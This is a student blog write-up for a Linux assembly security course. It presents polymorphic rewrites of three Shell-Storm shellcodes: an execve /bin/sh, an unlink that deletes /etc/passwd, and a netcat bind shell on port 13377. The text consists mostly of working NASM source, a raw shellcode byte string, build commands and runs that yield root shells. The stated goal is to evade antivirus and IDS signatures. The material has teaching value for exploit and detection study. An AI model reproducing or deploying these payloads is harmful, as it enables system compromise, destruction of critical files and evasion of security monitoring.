Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 6:

Our Goal:

Take up 3 shellcodes from Shell-Storm and create polymorphic versions

  • The polymorphic versions can not be larger than 150% of the original versions
  • Bonus points if shorter in length than original

Hello everybody,

So today we will create some polymorphic versions of existing shellcodes on the well-known site shell-storm.
Polymorphic versions aims at defeating pattern matching by AV and IDS:

  • Replacing instructions with equivalent ones.
  • Add garbage instructions that will not change the shellcode functionality but create a mess for the AV analysis.

VirusTotal gathers AV engines but i do not recommend to test your shellcode on it because it will be fingerprinted and may be added to their database, so your next NSA hack may fail, such a pity.

jmp/call/pop execve shell:

Ok so for our first shellcode execve.nasm let’s have a look at a jmp/call/pop execve shellcode (52 bytes long):

global _start

section .text
_start:
    jmp short here

me:
    pop esi
    mov edi,esi
    
    xor eax,eax
    push eax
    mov edx,esp
    
    push eax
    add esp,3
    lea esi,[esi +4]
    xor eax,[esi]
    push eax
    xor eax,eax
    xor eax,[edi]
    push eax
    mov ebx,esp 

    xor eax,eax
    push eax
    lea edi,[ebx]
    push edi
    mov ecx,esp

    mov al,0xb
    int 0x80

here:
    call me
    path db "//bin/sh"

Let’s execute the shellcode:

# ./compile.sh execve && chmod u+x ./execve && ./execve
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# id
uid=0(root) gid=0(root) groups=0(root)
# 

The advantage of this shellcode is that the opcodes have been already thought to obfuscate a bit the shellcode behavior. If we add a second layer we can be barely sure that the shellcode will bypass the majority of the AVs. A good idea here is to obfuscate the //bin/sh variable and to add some garbage opcodes and/or to mix them.

So let’s have a look at our polymorphic shellcode execve_polymorphic.nasm:

global _start

section .text
_start:
    jmp short here

me:
    mov dword esi, [esp]    ; equivalent to mov the @ of our encoded //bin/sh into esi
    pop edi                 ; same @ in edi
    
    push 0x1                ; mix a little bit the opcodes
    pop eax
    dec eax
    push eax
    mov edx,esp

    xor ecx, ecx
    mov cl, 0x7             ; //bin/sh is 7 bytes long

dec1:                       
    mov eax, [edi + ecx]    ; we are looping on our string
    dec eax                 ; decrement the value
    mov [edi + ecx], eax    ; setting the right char into memory
    dec cl
    jns dec1                ; jump if not signed

    xor eax, eax            ; here we go for setting the right argument for our execve syscall
    push eax
    add esp,3
    lea esi,[esi+6]
    xor eax,[esi-2]

    push eax
    xor eax,eax
    xor eax,[edi]
    push eax
    mov ebx,esp 

    xor eax,eax
    push eax
    lea edi,[ebx]
    push edi
    mov ecx,esp

    mov al,0xb              ; int execve(const char *filename, char *const argv[],char *const envp[]);

    int 0x80

here:
    call me
    path db 0x30,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69 ; encoded //bin/sh string, we added 1 to each byte

Let’s compile our polymorphic shellcode:

# ./compile.sh execve_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# objdump -d ./execve_polymorphic|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x3a\x8b\x34\x24\x5f\x6a\x01\x58\x48\x50\x89\xe2\x31\xc9\xb1\x07\x8b\x04\x0f\x48\x89\x04\x0f\xfe\xc9\x79\xf5\x31\xc0\x50\x83\xc4\x03\x8d\x76\x06\x33\x46\xfe\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xc1\xff\xff\xff\x30\x30\x63\x6a\x6f\x30\x74\x69"

Let’s run it into shellcode.c:

# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode
Shellcode Length:  73
# id
uid=0(root) gid=0(root) groups=0(root)

Our polymorphic shellcode is 73 bytes so we are under the 52 * 1.5 = 78 bytes, perfect.

For this second shellcode let’s have a look at a shellcode that aims at unlinking the critical /etc/passwd file. A quick man 2 unlink provides this information: unlink() deletes a name from the filesystem.. Great, but please don’t forget to backup your /etc/passwd file.

Let’s compile and debug thanks to gdb:

# gcc -fno-stack-protector -z execstack -o unlink unlink.c && chmod u+x ./unlink && ./unlink
Shellcode Length: 35
# ls -lrt /etc/passwd*
-rw------- 1 0 root 3025 mars   1 21:47 /etc/passwd-
-rw-r--r-- 1 0 root 3073 avril 22 13:48 /etc/passwd.backup

Ok so we have our passwd backups but the /etc/passwd file has been deleted. Let’s have a look to the shellcode (35 bytes long):

# gdb -q unlink
Reading symbols from unlink...(no debugging symbols found)...done.
gdb-peda$ print &shell
$1 = (<data variable, no debug info> *) 0x804a040 <shell>
gdb-peda$ br *&shell
Breakpoint 1 at 0x804a040
gdb-peda$ r
Starting program: /root/Documents/pentest/certs/slae/exam/assignment6.2/unlink 
Shellcode Length: 35
[----------------------------------registers-----------------------------------]
EAX: 0x804a040 --> 0x315e11eb 
EBX: 0x0 
ECX: 0x7fffffeb 
EDX: 0xb7faf870 --> 0x0 
ESI: 0x1 
EDI: 0xb7fae000 --> 0x1b2db0 
EBP: 0xbffff238 --> 0x0 
ESP: 0xbffff21c --> 0x8048479 (<main+62>: mov    eax,0x0)
EIP: 0x804a040 --> 0x315e11eb
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a03a: add    BYTE PTR [eax],al
   0x804a03c: add    BYTE PTR [eax],al
   0x804a03e: add    BYTE PTR [eax],al
=> 0x804a040 <shell>: jmp    0x804a053 <shell+19>
 | 0x804a042 <shell+2>: pop    esi
 | 0x804a043 <shell+3>: xor    eax,eax
 | 0x804a045 <shell+5>: xor    ecx,ecx
 | 0x804a047 <shell+7>: xor    edx,edx
 |->   0x804a053 <shell+19>:  call   0x804a042 <shell+2>
       0x804a058 <shell+24>:  das
       0x804a059 <shell+25>:  gs je  0x804a0bf
       0x804a05c <shell+28>:  das
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff21c --> 0x8048479 (<main+62>:  mov    eax,0x0)
0004| 0xbffff220 --> 0x1 
0008| 0xbffff224 --> 0xbffff2e4 --> 0xbffff480 ("/root/Documents/pentest/certs/slae/exam/assignment6.2/unlink")
0012| 0xbffff228 --> 0xbffff2ec --> 0xbffff4bd ("XDG_VTNR=2")
0016| 0xbffff22c --> 0x804a040 --> 0x315e11eb 
0020| 0xbffff230 --> 0xb7fae3dc --> 0xb7faf1e0 --> 0x0 
0024| 0xbffff234 --> 0xbffff250 --> 0x1 
0028| 0xbffff238 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804a040 in shell ()
gdb-peda$ x/17i $eip
=> 0x804a040 <shell>: jmp    0x804a053 <shell+19>
   0x804a042 <shell+2>: pop    esi
   0x804a043 <shell+3>: xor    eax,eax
   0x804a045 <shell+5>: xor    ecx,ecx
   0x804a047 <shell+7>: xor    edx,edx
   0x804a049 <shell+9>: mov    al,0xa
   0x804a04b <shell+11>:  mov    ebx,esi
   0x804a04d <shell+13>:  int    0x80
   0x804a04f <shell+15>:  mov    al,0x1
   0x804a051 <shell+17>:  int    0x80
   0x804a053 <shell+19>:  call   0x804a042 <shell+2>
   0x804a058 <shell+24>:  das    
   0x804a059 <shell+25>:  gs je  0x804a0bf
   0x804a05c <shell+28>:  das    
   0x804a05d <shell+29>:  jo     0x804a0c0
   0x804a05f <shell+31>:  jae    0x804a0d4
   0x804a061 <shell+33>:  ja     0x804a0c7
gdb-peda$

So we can see a jmp/call/pop technique setting the string for the syscall 0xa (int unlink(const char *pathname);). Then a syscall to the exit function. Debugging just after the pop esi:

gdb-peda$ x/s $esi
0x804a058 <shell+24>: "/etc/passwd"

Let’s create our polymorphic shellcode:

global _start

section .text
_start:
    jmp short here

me:
    pop ebx          ; Directly pop the @ of /etc/passwd into ebx

    xor ecx,ecx
    mul ecx          ; This instruction will cause both EAX and EDX to become zero
    
    mov cl,0x1
    mov al,0xb
    sub al,cl        ; Equivalent to mov al,0xa
    int 0x80         ; int unlink(const char *pathname);
    
    mov al,cl        ; Equivalent to mov al,0x1
    int 0x80         ; void _exit(int status);
    call me

here:
    call me
    path db "/etc/passwd"

Let’s run it:

# touch /etc/passwd
# ./compile.sh unlink_polymorphic && ./unlink_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# ls /etc/passwd
ls: impossible d'accéder à '/etc/passwd': Aucun fichier ou dossier de ce type

Here we go, our new polymorphic shellcode did the job and is 40 bytes long.

netcat bin shellcode:

Here we go for our last shell-storm shellcode. We will use this shellcode which is calling netcat to bind a shell on port 13377.

Let’s assembly, link and execute netcat_bind.nasm (64 bytes long):

# ./compile.sh netcat_bind
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
# ./netcat_bind 
listening on [any] 13377 ...

Then from another shell:

# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)

Perfect, everything is working fine, so let’s mix up this opcodes in our netcat_bind_polymorphic.nasm:

section .text
    global _start
_start:
  xor ecx,ecx
  mul ecx          ; mul technique to clear out EAX and EDX
  
  jmp short arg1   ; jmp/call/pop technique

poptag1:
    pop edx          ; replace the push opcode
    push eax

  push 0x68732f6e
  push 0x69622f65
  push 0x76766c2d
  mov ecx,esp

  push eax
  push 0x636e2f2f
  push 0x2f2f2f2f
  push 0x6e69622f
  mov ebx, esp

  push eax
  push edx
  push ecx
  push ebx
  
  mov edx,eax      ; replace the xor opcode
  mov  ecx,esp
  mov al,11        ; execve syscall
  int 0x80

arg1:
  call poptag1
  string1 db "-vp13377"

Let’s assembly, link, and execute:

# ./compile.sh netcat_bind_polymorphic && ./netcat_bind_polymorphic
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
listening on [any] 13377 ...

From another shell:

# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)

Perfect it works and our new shellcode is 68 bytes long.
We saw in this article that we can create some polymorphic versions of well known shellcodes in order to bypass the known signatures of these shellcodes.

Hope you enjoyed this post, see you soon for our last assignment.
Bye,

Phackt